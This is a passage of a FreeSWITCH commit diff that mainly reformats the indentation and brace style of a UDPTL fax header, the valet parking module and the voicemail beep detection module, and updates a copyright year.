+typedef int (udptl_rx_packet_handler_t) (void *user_data, const uint8_t msg[], int len, int seq_no);
-typedef struct
-{
- int buf_len;
- uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+typedef struct {
+ int buf_len;
+ uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
} udptl_fec_tx_buffer_t;
-typedef struct
-{
- int buf_len;
- uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
- int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
- uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
- int fec_span;
- int fec_entries;
+typedef struct {
+ int buf_len;
+ uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+ int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
+ uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
+ int fec_span;
+ int fec_entries;
} udptl_fec_rx_buffer_t;
-struct udptl_state_s
-{
- udptl_rx_packet_handler_t *rx_packet_handler;
- void *user_data;
+struct udptl_state_s {
+ udptl_rx_packet_handler_t *rx_packet_handler;
+ void *user_data;
- /*! This option indicates the error correction scheme used in transmitted UDPTL
- packets. */
- int error_correction_scheme;
+ /*! This option indicates the error correction scheme used in transmitted UDPTL
+ packets. */
+ int error_correction_scheme;
- /*! This option indicates the number of error correction entries transmitted in
- UDPTL packets. */
- int error_correction_entries;
+ /*! This option indicates the number of error correction entries transmitted in
+ UDPTL packets. */
+ int error_correction_entries;
- /*! This option indicates the span of the error correction entries in transmitted
- UDPTL packets (FEC only). */
- int error_correction_span;
+ /*! This option indicates the span of the error correction entries in transmitted
+ UDPTL packets (FEC only). */
+ int error_correction_span;
- /*! This option indicates the maximum size of a datagram that can be accepted by
- the remote device. */
- int far_max_datagram_size;
+ /*! This option indicates the maximum size of a datagram that can be accepted by
+ the remote device. */
+ int far_max_datagram_size;
- /*! This option indicates the maximum size of a datagram that we are prepared to
- accept. */
- int local_max_datagram_size;
+ /*! This option indicates the maximum size of a datagram that we are prepared to
+ accept. */
+ int local_max_datagram_size;
- int verbose;
+ int verbose;
- int tx_seq_no;
- int rx_seq_no;
- int rx_expected_seq_no;
+ int tx_seq_no;
+ int rx_seq_no;
+ int rx_expected_seq_no;
- udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
- udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
+ udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
+ udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
};
-enum
-{
- UDPTL_ERROR_CORRECTION_NONE,
- UDPTL_ERROR_CORRECTION_FEC,
- UDPTL_ERROR_CORRECTION_REDUNDANCY
+enum {
+ UDPTL_ERROR_CORRECTION_NONE,
+ UDPTL_ERROR_CORRECTION_FEC,
+ UDPTL_ERROR_CORRECTION_REDUNDANCY
};
typedef struct udptl_state_s udptl_state_t;
#if defined(__cplusplus)
-extern "C"
-{
+extern "C" {
#endif
/*! \brief Process an arriving UDPTL packet.
@@ -102,7 +97,7 @@
\param buf The UDPTL packet buffer.
\param len The length of the packet.
\return 0 for OK. */
-int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
+ int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
/*! \brief Construct a UDPTL packet, ready for transmission.
\param s The UDPTL context.
@@ -110,7 +105,7 @@
\param msg The primary packet.
\param len The length of the primary packet.
\return The length of the constructed UDPTL packet. */
-int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
+ int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
/*! \brief Change the error correction settings of a UDPTL context.
\param s The UDPTL context.
@@ -118,10 +113,7 @@
\param span The packet span over which error correction should be applied.
\param entries The number of error correction entries to include in packets.
\return 0 for OK. */
-int udptl_set_error_correction(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries);
+ int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries);
/*! \brief Check the error correction settings of a UDPTL context.
\param s The UDPTL context.
@@ -129,18 +121,15 @@
\param span The packet span over which error correction is being applied.
\param entries The number of error correction being included in packets.
\return 0 for OK. */
-int udptl_get_error_correction(udptl_state_t *s,
- int *ec_scheme,
- int *span,
- int *entries);
+ int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries);
-int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
+ int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
-int udptl_get_local_max_datagram(udptl_state_t *s);
+ int udptl_get_local_max_datagram(udptl_state_t *s);
-int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
+ int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
-int udptl_get_far_max_datagram(udptl_state_t *s);
+ int udptl_get_far_max_datagram(udptl_state_t *s);
/*! \brief Initialise a UDPTL context.
\param s The UDPTL context.
@@ -150,21 +139,15 @@
\param rx_packet_handler The callback function, used to report arriving IFP packets.
\param user_data An opaque pointer supplied to rx_packet_handler.
\return A pointer to the UDPTL context, or NULL if there was a problem. */
-udptl_state_t *udptl_init(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries,
- udptl_rx_packet_handler_t rx_packet_handler,
- void *user_data);
+ udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data);
/*! \brief Release a UDPTL context.
\param s The UDPTL context.
\return 0 for OK. */
-int udptl_release(udptl_state_t *s);
+ int udptl_release(udptl_state_t *s);
#if defined(__cplusplus)
}
#endif
-
#endif
/*- End of file ------------------------------------------------------------*/
Modified: freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -87,10 +87,11 @@
int i, r = 0, m;
char buf[128] = "";
- if (!min) min = 1;
+ if (!min)
+ min = 1;
switch_mutex_lock(globals.mutex);
- for(i = min ; (i < max || max == 0) ; i++) {
+ for (i = min; (i < max || max == 0); i++) {
switch_snprintf(buf, sizeof(buf), "%d", i);
m = !!switch_core_hash_find(lot->hash, buf);
@@ -131,7 +132,7 @@
lot = valet_find_lot(lot_name);
switch_assert(lot);
- if (!strcasecmp(ext, "auto")) {
+ if (!strcasecmp(ext, "auto")) {
const char *io = argv[2];
const char *min = argv[3];
const char *max = argv[4];
@@ -165,7 +166,7 @@
switch_mutex_unlock(lot->mutex);
return;
}
-
+
switch_snprintf(dtmf_buf, sizeof(dtmf_buf), "%d", id);
ext = dtmf_buf;
} else if (!strcasecmp(ext, "ask")) {
@@ -174,28 +175,28 @@
int max = 11;
int to = 10000;
int i;
-
+
tmp = argv[2] ? argv[2] : switch_channel_get_variable(channel, "valet_ext_min");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
min = i;
}
}
-
+
tmp = argv[3] ? argv[3] : switch_channel_get_variable(channel, "valet_ext_max");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
max = i;
}
}
-
+
tmp = argv[4] ? argv[4] : switch_channel_get_variable(channel, "valet_ext_to");
if (tmp) {
if ((i = atoi(tmp)) > 0) {
to = i;
}
}
-
+
tmp = argv[5] ? argv[5] : switch_channel_get_variable(channel, "valet_ext_prompt");
if (tmp) {
prompt = tmp;
@@ -211,7 +212,7 @@
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
}
-
+
switch_mutex_lock(lot->mutex);
if ((uuid = switch_core_hash_find(lot->hash, ext))) {
switch_core_session_t *b_session;
@@ -224,7 +225,7 @@
switch_channel_event_set_data(switch_core_session_get_channel(b_session), event);
switch_event_fire(&event);
switch_core_session_rwunlock(b_session);
-
+
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), uuid);
switch_mutex_unlock(lot->mutex);
return;
@@ -241,7 +242,7 @@
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
switch_core_session_t *b_session;
-
+
if ((b_session = switch_core_session_locate(uuid))) {
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
switch_ivr_session_transfer(b_session, dest, "inline", NULL);
@@ -254,8 +255,8 @@
switch_ivr_phrase_macro(session, "valet_announce_ext", tmp, NULL, NULL);
}
-
-
+
+
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VALET_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Lot-Name", lot_name);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Valet-Extension", ext);
@@ -263,14 +264,15 @@
switch_event_fire(&event);
}
-
+
if (!(tmp = switch_channel_get_variable(channel, "valet_hold_music"))) {
tmp = switch_channel_get_variable(channel, "hold_music");
}
- if (tmp) music = tmp;
-
+ if (tmp)
+ music = tmp;
+
switch_core_hash_insert(lot->hash, ext, switch_core_session_get_uuid(session));
-
+
args.input_callback = valet_on_dtmf;
args.buf = dbuf;
args.buflen = sizeof(dbuf);
@@ -293,7 +295,7 @@
{
switch_hash_index_t *hi;
const void *var;
- void *val;
+ void *val;
char *name;
valet_lot_t *lot;
@@ -310,9 +312,10 @@
switch_hash_this(hi, &var, NULL, &val);
name = (char *) var;
lot = (valet_lot_t *) val;
-
- if (!zstr(cmd) && strcasecmp(cmd, name)) continue;
-
+
+ if (!zstr(cmd) && strcasecmp(cmd, name))
+ continue;
+
stream->write_function(stream, " <lot name=\"%s\">\n", name);
for (i_hi = switch_hash_first(NULL, lot->hash); i_hi; i_hi = switch_hash_next(i_hi)) {
Modified: freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -128,50 +128,50 @@
/*! Type that holds state information about the beep. */
typedef enum vmd_state {
- BEEP_DETECTED, BEEP_NOT_DETECTED
+ BEEP_DETECTED, BEEP_NOT_DETECTED
} vmd_state_t;
/*! Type that holds data for 5 points of discreet energy separation */
typedef struct vmd_point {
- double freq;
- double ampl;
+ double freq;
+ double ampl;
} vmd_point_t;
/*! Type that holds codec information. */
typedef struct vmd_codec_info {
- /*! The sampling rate of the audio stream. */
- int rate;
- /*! The number of channels. */
- int channels;
+ /*! The sampling rate of the audio stream. */
+ int rate;
+ /*! The number of channels. */
+ int channels;
} vmd_codec_info_t;
/*! Type that holds session information pertinent to the vmd module. */
typedef struct vmd_session_info {
- /*! State of the session. */
- vmd_state_t state;
- /*! Snapshot of DESA samples. */
- vmd_point_t points[POINTS];
- /*! Internal FreeSWITCH session. */
- switch_core_session_t *session;
- /*! Codec information for the session. */
- vmd_codec_info_t vmd_codec;
- /*! Current position in the snapshot. */
- unsigned int pos;
- /*! Frequency aproximation of a detected beep. */
- double beep_freq;
- /*! A count of how long a distinct beep was detected
- * by the discreet energy separation algorithm. */
- switch_size_t timestamp;
+ /*! State of the session. */
+ vmd_state_t state;
+ /*! Snapshot of DESA samples. */
+ vmd_point_t points[POINTS];
+ /*! Internal FreeSWITCH session. */
+ switch_core_session_t *session;
+ /*! Codec information for the session. */
+ vmd_codec_info_t vmd_codec;
+ /*! Current position in the snapshot. */
+ unsigned int pos;
+ /*! Frequency aproximation of a detected beep. */
+ double beep_freq;
+ /*! A count of how long a distinct beep was detected
+ * by the discreet energy separation algorithm. */
+ switch_size_t timestamp;
/*! The MIN_TIME to use for this call */
int minTime;
} vmd_session_info_t;
-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame);
-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type);
+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame);
+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type);
static double freq_estimator(double *x);
static double ampl_estimator(double *x);
-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max);
-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame);
+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max);
+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame);
static double median(double *m, int n);
/*
@@ -187,40 +187,40 @@
* @param type The switch callback type.
* @return The success or failure of the function.
*/
-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
{
- vmd_session_info_t *vmd_info;
- switch_codec_t *read_codec;
- switch_frame_t *frame;
+ vmd_session_info_t *vmd_info;
+ switch_codec_t *read_codec;
+ switch_frame_t *frame;
- vmd_info = (vmd_session_info_t *) user_data;
- if (vmd_info == NULL) {
- return SWITCH_FALSE;
- }
+ vmd_info = (vmd_session_info_t *) user_data;
+ if (vmd_info == NULL) {
+ return SWITCH_FALSE;
+ }
- switch (type) {
+ switch (type) {
- case SWITCH_ABC_TYPE_INIT:
- read_codec = switch_core_session_get_read_codec(vmd_info->session);
- vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
- vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
- break;
+ case SWITCH_ABC_TYPE_INIT:
+ read_codec = switch_core_session_get_read_codec(vmd_info->session);
+ vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
+ vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
+ break;
- case SWITCH_ABC_TYPE_READ_PING:
- case SWITCH_ABC_TYPE_CLOSE:
- case SWITCH_ABC_TYPE_READ:
- case SWITCH_ABC_TYPE_WRITE:
- break;
+ case SWITCH_ABC_TYPE_READ_PING:
+ case SWITCH_ABC_TYPE_CLOSE:
+ case SWITCH_ABC_TYPE_READ:
+ case SWITCH_ABC_TYPE_WRITE:
+ break;
- case SWITCH_ABC_TYPE_READ_REPLACE:
- frame = switch_core_media_bug_get_read_replace_frame(bug);
- return process_data(vmd_info, frame);
+ case SWITCH_ABC_TYPE_READ_REPLACE:
+ frame = switch_core_media_bug_get_read_replace_frame(bug);
+ return process_data(vmd_info, frame);
- case SWITCH_ABC_TYPE_WRITE_REPLACE:
- break;
- }
+ case SWITCH_ABC_TYPE_WRITE_REPLACE:
+ break;
+ }
- return SWITCH_TRUE;
+ return SWITCH_TRUE;
}
/*! \brief Process and convert data to be used by the find_beep() function
@@ -230,23 +230,23 @@
* @param frame The audio data.
* @return The success or failure of the function.
*/
-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame)
+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame)
{
- uint32_t i;
- unsigned int j;
- double pts[P];
- int16_t *data;
- int16_t max;
- switch_ssize_t len;
+ uint32_t i;
+ unsigned int j;
+ double pts[P];
+ int16_t *data;
+ int16_t max;
+ switch_ssize_t len;
- len = frame->samples * sizeof(int16_t);
- data = (int16_t *) frame->data;
+ len = frame->samples * sizeof(int16_t);
+ data = (int16_t *) frame->data;
- for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
- if ((int16_t) abs(data[i]) > max) {
- max = (int16_t) abs(data[i]);
- }
- }
+ for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
+ if ((int16_t) abs(data[i]) > max) {
+ max = (int16_t) abs(data[i]);
+ }
+ }
/*
if (vmd_info->data_len != len){
@@ -269,16 +269,16 @@
}
*/
- for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
- /* convert_pts(vmd_info->data + i, pts); */
- convert_pts(data + i, pts, max);
- vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
- vmd_info->points[j].ampl = ampl_estimator(pts);
- vmd_info->pos = j % POINTS;
- find_beep(vmd_info, frame);
- }
+ for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
+ /* convert_pts(vmd_info->data + i, pts); */
+ convert_pts(data + i, pts, max);
+ vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
+ vmd_info->points[j].ampl = ampl_estimator(pts);
+ vmd_info->pos = j % POINTS;
+ find_beep(vmd_info, frame);
+ }
- return SWITCH_TRUE;
+ return SWITCH_TRUE;
}
/*! \brief Find voicemail beep in the audio stream
@@ -288,98 +288,96 @@
* @param frame The audio data.
* @return The success or failure of the function.
*/
-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame)
{
- int i;
- int c;
- double m[POINTS];
- double med;
- unsigned int j = (vmd_info->pos + 1) % POINTS;
- unsigned int k = j;
- switch_event_t *event;
- switch_status_t status;
- switch_event_t *event_copy;
- switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
+ int i;
+ int c;
+ double m[POINTS];
+ double med;
+ unsigned int j = (vmd_info->pos + 1) % POINTS;
+ unsigned int k = j;
+ switch_event_t *event;
+ switch_status_t status;
+ switch_event_t *event_copy;
+ switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
- switch (vmd_info->state) {
- case BEEP_DETECTED:
- for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
- vmd_info->timestamp++;
- if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) &&
- vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
- c++;
- vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
- }
- }
+ switch (vmd_info->state) {
+ case BEEP_DETECTED:
+ for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
+ vmd_info->timestamp++;
+ if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) && vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
+ c++;
+ vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
+ }
+ }
- if (c < (POINTS - MAX_CHIRP)) {
- vmd_info->state = BEEP_NOT_DETECTED;
- if (vmd_info->timestamp < (switch_size_t)vmd_info->minTime) {
- break;
- }
+ if (c < (POINTS - MAX_CHIRP)) {
+ vmd_info->state = BEEP_NOT_DETECTED;
+ if (vmd_info->timestamp < (switch_size_t) vmd_info->minTime) {
+ break;
+ }
- status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
- if (status != SWITCH_STATUS_SUCCESS) {
- return;
- }
+ status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
+ if (status != SWITCH_STATUS_SUCCESS) {
+ return;
+ }
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
+ switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
+ switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
- if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
- return;
- }
+ if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
+ return;
+ }
- switch_core_session_queue_event(vmd_info->session, &event);
- switch_event_fire(&event_copy);
+ switch_core_session_queue_event(vmd_info->session, &event);
+ switch_event_fire(&event_copy);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
- switch_channel_set_variable(channel, "vmd_detect", "TRUE");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
+ switch_channel_set_variable(channel, "vmd_detect", "TRUE");
- vmd_info->timestamp = 0;
- }
+ vmd_info->timestamp = 0;
+ }
- break;
+ break;
- case BEEP_NOT_DETECTED:
+ case BEEP_NOT_DETECTED:
- for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
- m[i] = vmd_info->points[k].freq;
- if (ISNAN(m[i])) {
- m[i] = 0.0;
- }
- }
+ for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
+ m[i] = vmd_info->points[k].freq;
+ if (ISNAN(m[i])) {
+ m[i] = 0.0;
+ }
+ }
- med = median(m, POINTS);
- if (ISNAN(med)) {
- for (i = 0; i < POINTS; i++) {
- if (!ISNAN(m[i])) {
- med = m[i];
- break;
- }
- }
- }
+ med = median(m, POINTS);
+ if (ISNAN(med)) {
+ for (i = 0; i < POINTS; i++) {
+ if (!ISNAN(m[i])) {
+ med = m[i];
+ break;
+ }
+ }
+ }
- for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
- if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
- if (vmd_info->points[j].ampl > MIN_AMPL &&
- vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
- c++;
- }
- }
- }
+ for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
+ if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
+ if (vmd_info->points[j].ampl > MIN_AMPL && vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
+ c++;
+ }
+ }
+ }
- if (c >= VALID) {
- vmd_info->state = BEEP_DETECTED;
- vmd_info->beep_freq = med;
- vmd_info->timestamp = 0;
- }
+ if (c >= VALID) {
+ vmd_info->state = BEEP_DETECTED;
+ vmd_info->beep_freq = med;
+ vmd_info->timestamp = 0;
+ }
- break;
- }
+ break;
+ }
}
/*! \brief Find the median of an array of doubles
@@ -390,65 +388,65 @@
*/
static double median(double *m, int n)
{
- int i;
- int less;
- int greater;
- int equal;
- double min;
- double max;
- double guess;
- double maxltguess;
- double mingtguess;
+ int i;
+ int less;
+ int greater;
+ int equal;
+ double min;
+ double max;
+ double guess;
+ double maxltguess;
+ double mingtguess;
- min = max = m[0];
+ min = max = m[0];
- for (i = 1; i < n; i++) {
- if (m[i] < min)
- min = m[i];
- if (m[i] > max)
- max = m[i];
- }
+ for (i = 1; i < n; i++) {
+ if (m[i] < min)
+ min = m[i];
+ if (m[i] > max)
+ max = m[i];
+ }
- for (;;) {
- guess = (min + max) / 2;
- less = 0;
- greater = 0;
- equal = 0;
- maxltguess = min;
- mingtguess = max;
+ for (;;) {
+ guess = (min + max) / 2;
+ less = 0;
+ greater = 0;
+ equal = 0;
+ maxltguess = min;
+ mingtguess = max;
- for (i = 0; i < n; i++) {
- if (m[i] < guess) {
- less++;
- if (m[i] > maxltguess) {
- maxltguess = m[i];
- }
- } else if (m[i] > guess) {
- greater++;
- if (m[i] < mingtguess) {
- mingtguess = m[i];
- }
- } else {
- equal++;
- }
- }
+ for (i = 0; i < n; i++) {
+ if (m[i] < guess) {
+ less++;
+ if (m[i] > maxltguess) {
+ maxltguess = m[i];
+ }
+ } else if (m[i] > guess) {
+ greater++;
+ if (m[i] < mingtguess) {
+ mingtguess = m[i];
+ }
+ } else {
+ equal++;
+ }
+ }
- if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
- break;
- } else if (less > greater) {
- max = maxltguess;
- } else {
- min = mingtguess;
- }
- }
+ if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
+ break;
+ } else if (less > greater) {
+ max = maxltguess;
+ } else {
+ min = mingtguess;
+ }
+ }
- if (less >= (n + 1) / 2) {
- return maxltguess;
- } else if (less + equal >= (n + 1) / 2) {
- return guess;
- }
+ if (less >= (n + 1) / 2) {
+ return maxltguess;
+ } else if (less + equal >= (n + 1) / 2) {
+ return guess;
+ }
- return mingtguess;
+ return mingtguess;
}
/*! \brief Convert many points for Signed L16 to relative floating point
@@ -459,13 +457,13 @@
* @param max The maximum value in the entire audio frame.
* @return Nothing.
*/
-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max)
{
- int i;
- for (i = 0; i < P; i++) {
- /*! Signed L16 to relative floating point conversion */
- d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
- }
+ int i;
+ for (i = 0; i < P; i++) {
+ /*! Signed L16 to relative floating point conversion */
+ d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
+ }
}
/*! \brief Amplitude estimator for DESA-2
@@ -478,12 +476,12 @@
*/
double ampl_estimator(double *x)
{
- double freq_sq;
+ double freq_sq;
- freq_sq = freq_estimator(x);
- freq_sq *= freq_sq;
+ freq_sq = freq_estimator(x);
+ freq_sq *= freq_sq;
- return sqrt(PSI(x) / sin(freq_sq));
+ return sqrt(PSI(x) / sin(freq_sq));
}
/*! \brief The DESA-2 algorithm
@@ -500,12 +498,12 @@
*/
double freq_estimator(double *x)
{
- return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
- - ((x[1] * x[1]) - (x[0] * x[2]))
- - ((x[3] * x[3]) - (x[2] * x[4])))
- / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
+ return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
+ - ((x[1] * x[1]) - (x[0] * x[2]))
+ - ((x[3] * x[3]) - (x[2] * x[4])))
+ / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
- );
+ );
}
/*! \brief FreeSWITCH module loading function
@@ -515,19 +513,19 @@
*/
SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
{
- switch_application_interface_t *app_interface;
- switch_api_interface_t *api_interface;
- /* connect my internal structure to the blank pointer passed to me */
- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+ switch_application_interface_t *app_interface;
+ switch_api_interface_t *api_interface;
+ /* connect my internal structure to the blank pointer passed to me */
+ *module_interface = switch_loadable_module_create_module_interface(pool, modname);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
- SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
+ SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
- SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
+ SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
- /* indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
+ /* indicate that the module should continue to be loaded */
+ return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH application handler function.
@@ -538,59 +536,59 @@
*/
SWITCH_STANDARD_APP(vmd_start_function)
{
- switch_media_bug_t *bug;
- switch_status_t status;
- switch_channel_t *channel;
- vmd_session_info_t *vmd_info;
- int i;
+ switch_media_bug_t *bug;
+ switch_status_t status;
+ switch_channel_t *channel;
+ vmd_session_info_t *vmd_info;
+ int i;
const char *minTimeString;
int mintime = 0;
- if (session == NULL)
- return;
+ if (session == NULL)
+ return;
- channel = switch_core_session_get_channel(session);
+ channel = switch_core_session_get_channel(session);
- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(data, "stop") == 0) {
- switch_channel_set_private(channel, "_vmd_", NULL);
- switch_core_media_bug_remove(session, &bug);
- return;
- }
+ /* Is this channel already set? */
+ bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
+ /* If yes */
+ if (bug != NULL) {
+ /* If we have a stop remove audio bug */
+ if (strcasecmp(data, "stop") == 0) {
+ switch_channel_set_private(channel, "_vmd_", NULL);
+ switch_core_media_bug_remove(session, &bug);
+ return;
+ }
- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+ /* We have already started */
